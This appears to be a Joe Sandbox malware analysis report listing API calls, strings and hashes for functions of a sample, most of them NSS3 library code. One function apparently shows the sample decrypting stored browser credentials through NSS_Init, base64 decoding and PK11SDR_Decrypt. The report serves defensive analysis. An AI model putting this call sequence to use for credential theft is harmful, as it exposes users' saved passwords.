Part of subcall function 6CF007A0: TlsSetValue.KERNEL32(00000000,?,?,6CE9204A), ref: 6CF008CB
Part of subcall function 6CF007A0: TlsGetValue.KERNEL32(?,?,6CE9204A), ref: 6CF008D7
Part of subcall function 6CF007A0: TlsGetValue.KERNEL32(?,?,6CE9204A), ref: 6CF008FB

TlsGetValue.KERNEL32 ref: 6CF54DD7
EnterCriticalSection.KERNEL32(?), ref: 6CF54DEC
PR_Unlock.NSS3(?), ref: 6CF54E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CF54E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF54E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CF54E71
free.MOZGLUE(00000000), ref: 6CF54E7A
PR_Unlock.NSS3(?), ref: 6CF54EA2
TlsGetValue.KERNEL32 ref: 6CF54EC1
EnterCriticalSection.KERNEL32(?), ref: 6CF54ED6
PR_Unlock.NSS3(?), ref: 6CF54F01
free.MOZGLUE(00000000), ref: 6CF54F2A

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: d17b93c912d250bdf022d9e3274b2f35d009e94dc5e7ff9c812f48a5a4e19ab4
Instruction ID: f0805adaade9fc40a7b0a795bf3436ce76ec33250f12c45502ab171f372aa162
Opcode Fuzzy Hash: d17b93c912d250bdf022d9e3274b2f35d009e94dc5e7ff9c812f48a5a4e19ab4
Instruction Fuzzy Hash: DAB10275A002059FDF00DF68D844BAA7BB4BF5A318F844128EE15ABB51E731E974CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 6CFA6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CFA6BF7), ref: 6CFA6EB6

Part of subcall function 6CF01240: TlsGetValue.KERNEL32(00000040,?,6CF0116C,NSPR_LOG_MODULES), ref: 6CF01267
Part of subcall function 6CF01240: EnterCriticalSection.KERNEL32(?,?,?,6CF0116C,NSPR_LOG_MODULES), ref: 6CF0127C
Part of subcall function 6CF01240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CF0116C,NSPR_LOG_MODULES), ref: 6CF01291
Part of subcall function 6CF01240: PR_Unlock.NSS3(?,?,?,?,6CF0116C,NSPR_LOG_MODULES), ref: 6CF012A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6D04FC0A,6CFA6BF7), ref: 6CFA6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CFA6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,?), ref: 6CFA6EFC
PR_NewLock.NSS3 ref: 6CFA6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CFA6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CFA6BF7), ref: 6CFA6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CFA6BF7), ref: 6CFA6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CFA6BF7), ref: 6CFA6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CFA6BF7), ref: 6CFA6FFD

Strings

NSS_SSL_CBC_RANDOM_IV, xrefs: 6CFA6FF8
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CFA6F4F
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CFA6EF7
SSLKEYLOGFILE, xrefs: 6CFA6EB1
SSLFORCELOCKS, xrefs: 6CFA6F2B
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CFA6FDB

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: b4f3cca73344de2446375acea8ccc30df8d6e584cbf5170d07bc82f2bd5d5bc5
Instruction ID: 57b667681ddaf0f472a7a8c820725d35838ddebb366a7b29af427f0fca6216dd
Opcode Fuzzy Hash: b4f3cca73344de2446375acea8ccc30df8d6e584cbf5170d07bc82f2bd5d5bc5
Instruction Fuzzy Hash: 99A13773D59A50C7EB1047BDC800B55B3B1BF97329F684366F831CAED9EB7698428281

Uniqueness

Uniqueness Score: -1.00%

Function 6CF25DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF25DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CF25E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6CF25E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6CF25E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6CF25EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6CF25ED9
SECKEY_SignatureLen.NSS3(?), ref: 6CF25F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6CF25F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CF25F89
free.MOZGLUE(?), ref: 6CF25FA0
SECITEM_ZfreeItem_Util.NSS3(?,?), ref: 6CF25FB6
free.MOZGLUE(00000000), ref: 6CF25FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF2600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF26079
SECITEM_ZfreeItem_Util.NSS3(00000000,?), ref: 6CF26084
SECITEM_ZfreeItem_Util.NSS3(00000000,?), ref: 6CF26094

Strings

, xrefs: 6CF25EEB

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: ba570668b766148b910b0a01771748a47f51ad0b5cbcd4787dd7f34cc26f96b6
Instruction ID: fe97b1edb47a67f6461873a005166b571497b91e6e92f71f6f1a37a4a4a89583
Opcode Fuzzy Hash: ba570668b766148b910b0a01771748a47f51ad0b5cbcd4787dd7f34cc26f96b6
Instruction Fuzzy Hash: 7C81E3B2E042059BDF20CFA4DC81BAF77B5AF44318F144128E919E7795E739E914CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF46D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6CF46D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CF46DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CF46DC3

Part of subcall function 6D02D930: PL_strncpyz.NSS3(?,?,?), ref: 6D02D963

PR_LogPrint.NSS3(?,00000000), ref: 6CF46DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CF46DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CF46E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6CF46E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6CF46E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6CF46EB9

Strings

ulDataLen = %d, xrefs: 6CF46E0E
pDigest = 0x%p, xrefs: 6CF46E27
*pulDigestLen = 0x%x, xrefs: 6CF46EB4
C_Digest, xrefs: 6CF46D81
pData = 0x%p, xrefs: 6CF46DF5
hSession = 0x%x, xrefs: 6CF46D9E, 6CF46DAE
pulDigestLen = 0x%p, xrefs: 6CF46E42
(CK_INVALID_HANDLE), xrefs: 6CF46DBC

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 85ad2c44a8b31113cda23f776b190791061e2434c177c5c46856ecb423582fca
Instruction ID: 2065cc87c73db7f8bd4772eff39f6dd43283b60438caab504c3169f8bf5ee265
Opcode Fuzzy Hash: 85ad2c44a8b31113cda23f776b190791061e2434c177c5c46856ecb423582fca
Instruction Fuzzy Hash: 9341D135905125AFEB109F65DC48F9A3FB1EB8331CF0A8024F909AB213DB31D854CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CF49C40 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6CF49C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CF49C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CF49CA3

Part of subcall function 6D02D930: PL_strncpyz.NSS3(?,?,?), ref: 6D02D963

PR_LogPrint.NSS3(?,00000000), ref: 6CF49CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6CF49CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CF49CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CF49D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6CF49D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6CF49D42

Strings

pUsername = 0x%p, xrefs: 6CF49D24
C_LoginUser, xrefs: 6CF49C61
ulPinLen = %d, xrefs: 6CF49D0B
hSession = 0x%x, xrefs: 6CF49C7E, 6CF49C8E
pPin = 0x%p, xrefs: 6CF49CF0
ulUsernameLen = %d, xrefs: 6CF49D3D
(CK_INVALID_HANDLE), xrefs: 6CF49C9C
userType = 0x%x, xrefs: 6CF49CD5

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser
API String ID: 1003633598-3838449515
Opcode ID: a45ea189260d50d141351f59cbf8182bc569508e7ab80fab1f04fc98c0d85243
Instruction ID: ea32e569a0b38bc652b3ff9af77d7a4fb720bfa7fec818b77078573a2a18e6a1
Opcode Fuzzy Hash: a45ea189260d50d141351f59cbf8182bc569508e7ab80fab1f04fc98c0d85243
Instruction Fuzzy Hash: 8541D431605215EFEB00DF60DE44F5A3FB9BB5331EF058024E6096B253DB309A54CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0040C100 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 383filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 0040C112

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

CreateFileA.KERNEL32(00000000,80000000,?,00000000,00000003,00000000,00000000,00000000,?,02DDAAE0,00000000,?,0041DBAC,00000000,?,?), ref: 0040C1D6
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040C1F3
GetFileSize.KERNEL32(00000000,00000000), ref: 0040C1FF
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040C212

Part of subcall function 00414FF0: malloc.MSVCRT ref: 00414FF8

ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040C242
StrStrA.SHLWAPI(?,02DDA9F0,0041D72E), ref: 0040C260
StrStrA.SHLWAPI(00000000,02DDAA08), ref: 0040C287
StrStrA.SHLWAPI(?,02DDAE50,00000000,?,0041DBB8,00000000,?,00000000,00000000,?,02DD4D40,00000000,?,0041DBB4,00000000,?), ref: 0040C405
StrStrA.SHLWAPI(00000000,02DDB150), ref: 0040C41C

Part of subcall function 0040BF90: memset.MSVCRT ref: 0040BFC3
Part of subcall function 0040BF90: lstrlen.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,?,02DD4CE0), ref: 0040BFE1
Part of subcall function 0040BF90: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040BFEC
Part of subcall function 0040BF90: PK11_GetInternalKeySlot.NSS3 ref: 0040BFFA
Part of subcall function 0040BF90: PK11_Authenticate.NSS3(00000000,?,00000000), ref: 0040C015
Part of subcall function 0040BF90: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C05B
Part of subcall function 0040BF90: memcpy.MSVCRT ref: 0040C082
Part of subcall function 0040BF90: PK11_FreeSlot.NSS3(?), ref: 0040C0D1

StrStrA.SHLWAPI(?,02DDB150,00000000,?,0041DBBC,00000000,?,00000000,02DD4CE0), ref: 0040C4BD
StrStrA.SHLWAPI(00000000,02DD4D50), ref: 0040C4D4

Part of subcall function 0040BF90: lstrcat.KERNEL32(?,0041D726), ref: 0040C0B3
Part of subcall function 0040BF90: lstrcat.KERNEL32(?,0041D727), ref: 0040C0C7
Part of subcall function 0040BF90: lstrcat.KERNEL32(?,0041D72A), ref: 0040C0E8

lstrlen.KERNEL32(00000000), ref: 0040C5A7
CloseHandle.KERNEL32(00000000), ref: 0040C5F9
NSS_Shutdown.NSS3 ref: 0040C607

Strings

, xrefs: 0040C133

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeStringmallocmemcpymemset
String ID:
API String ID: 2844179199-3916222277
Opcode ID: 8041a117d3a870e4220f894e79cfd616e871cfc2c5c00193b39e6e7f351a751c
Instruction ID: 16cc530deb27457f536659a64f134916331f5af867ee6c6bf2a367595298ef92
Opcode Fuzzy Hash: 8041a117d3a870e4220f894e79cfd616e871cfc2c5c00193b39e6e7f351a751c
Instruction Fuzzy Hash: 66E11075910208ABCB14EBA1DC91FEEBB79BF54304F41415EF10667191DF38AA86CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 6D029C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(?,00000080), ref: 6D029C70
PR_NewLock.NSS3 ref: 6D029C85

Part of subcall function 6CFD98D0: calloc.MOZGLUE(?,00000084,6CF00936,00000001,?,6CF0102C), ref: 6CFD98E5

PR_NewCondVar.NSS3(00000000), ref: 6D029C96

Part of subcall function 6CEFBB80: calloc.MOZGLUE(?,00000084,00000000,00000040,?,6CF021BC), ref: 6CEFBB8C

PR_NewLock.NSS3 ref: 6D029CA9

Part of subcall function 6CFD98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CFD9946
Part of subcall function 6CFD98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE916B7,00000000), ref: 6CFD994E
Part of subcall function 6CFD98D0: free.MOZGLUE(00000000), ref: 6CFD995E

PR_NewLock.NSS3 ref: 6D029CB9
PR_NewLock.NSS3 ref: 6D029CC9
PR_NewCondVar.NSS3(00000000), ref: 6D029CDA

Part of subcall function 6CEFBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CEFBBEB
Part of subcall function 6CEFBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CEFBBFB
Part of subcall function 6CEFBB80: GetLastError.KERNEL32 ref: 6CEFBC03
Part of subcall function 6CEFBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CEFBC19
Part of subcall function 6CEFBB80: free.MOZGLUE(00000000), ref: 6CEFBC22

PR_NewCondVar.NSS3(?), ref: 6D029CF0
PR_NewPollableEvent.NSS3 ref: 6D029D03

Part of subcall function 6D01F3B0: PR_CallOnce.NSS3(6D0714B0,6D01F510), ref: 6D01F3E6
Part of subcall function 6D01F3B0: PR_CreateIOLayerStub.NSS3(6D07006C), ref: 6D01F402
Part of subcall function 6D01F3B0: PR_Malloc.NSS3(00000004), ref: 6D01F416
Part of subcall function 6D01F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6D01F42D
Part of subcall function 6D01F3B0: PR_SetSocketOption.NSS3(?), ref: 6D01F455
Part of subcall function 6D01F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6D01F473

Part of subcall function 6CFD9890: TlsGetValue.KERNEL32(?,?,?,6CFD97EB), ref: 6CFD989E

EnterCriticalSection.KERNEL32(?), ref: 6D029D78
calloc.MOZGLUE(00000001,0000000C), ref: 6D029DAF
_PR_CreateThread.NSS3(00000000,6D029EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6D029D9F

Part of subcall function 6CEFB3C0: TlsGetValue.KERNEL32 ref: 6CEFB403
Part of subcall function 6CEFB3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6CEFB459

_PR_CreateThread.NSS3(00000000,6D02A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6D029DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6D029DFC
_PR_CreateThread.NSS3(00000000,6D02A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6D029E29
calloc.MOZGLUE(00000001,0000000C), ref: 6D029E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6D029E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6D029E89

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: aad9e4ad03838c2e5dae76c84d8efdc5f7cff0dee0b148492122f6dffddb3954
Instruction ID: 421a68c78c4df6ba53caf83a65636d9fa6eb1af659e7bc434525ac0254f1f259
Opcode Fuzzy Hash: aad9e4ad03838c2e5dae76c84d8efdc5f7cff0dee0b148492122f6dffddb3954
Instruction Fuzzy Hash: 4E614CB1901746AFEB10DF75D844AA7BBF8FF08218B04452EE819C7B51EB70E954CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF44CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CF44CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CF44D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CF44D37

Part of subcall function 6D02D930: PL_strncpyz.NSS3(?,?,?), ref: 6D02D963

PR_LogPrint.NSS3(?,00000000), ref: 6CF44D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CF44D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CF44D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CF44DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CF44DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CF44E20

Strings

pulSize = 0x%p, xrefs: 6CF44DB7
hSession = 0x%x, xrefs: 6CF44D12, 6CF44D22
*pulSize = 0x%x, xrefs: 6CF44E1B
hObject = 0x%x, xrefs: 6CF44D65, 6CF44D75
C_GetObjectSize, xrefs: 6CF44CEE
(CK_INVALID_HANDLE), xrefs: 6CF44D30, 6CF44D83

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: 606b2e0681bb29bfcc0fb5ed6a63a4fb2ba89b86b5795f2d0187f56d19960f87
Instruction ID: 15056a27d8561992524ffbce39ffd5acde8f8e4763fed8c22d2aa99629a39609
Opcode Fuzzy Hash: 606b2e0681bb29bfcc0fb5ed6a63a4fb2ba89b86b5795f2d0187f56d19960f87
Instruction Fuzzy Hash: 9641B271905224AFEB109F24DD88F6A3FB5EB5331DF05C029E9097B253DB349958CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CF47C90 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6CF47CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CF47CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CF47CF3

Part of subcall function 6D02D930: PL_strncpyz.NSS3(?,?,?), ref: 6D02D963

PR_LogPrint.NSS3(?,00000000), ref: 6CF47D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CF47D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CF47D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CF47D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CF47D77

Strings

ulDataLen = %d, xrefs: 6CF47D40
pData = 0x%p, xrefs: 6CF47D25
hSession = 0x%x, xrefs: 6CF47CCE, 6CF47CDE
C_Verify, xrefs: 6CF47CB1
ulSignatureLen = %d, xrefs: 6CF47D72
(CK_INVALID_HANDLE), xrefs: 6CF47CEC
pSignature = 0x%p, xrefs: 6CF47D59

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify
API String ID: 1003633598-3278097884
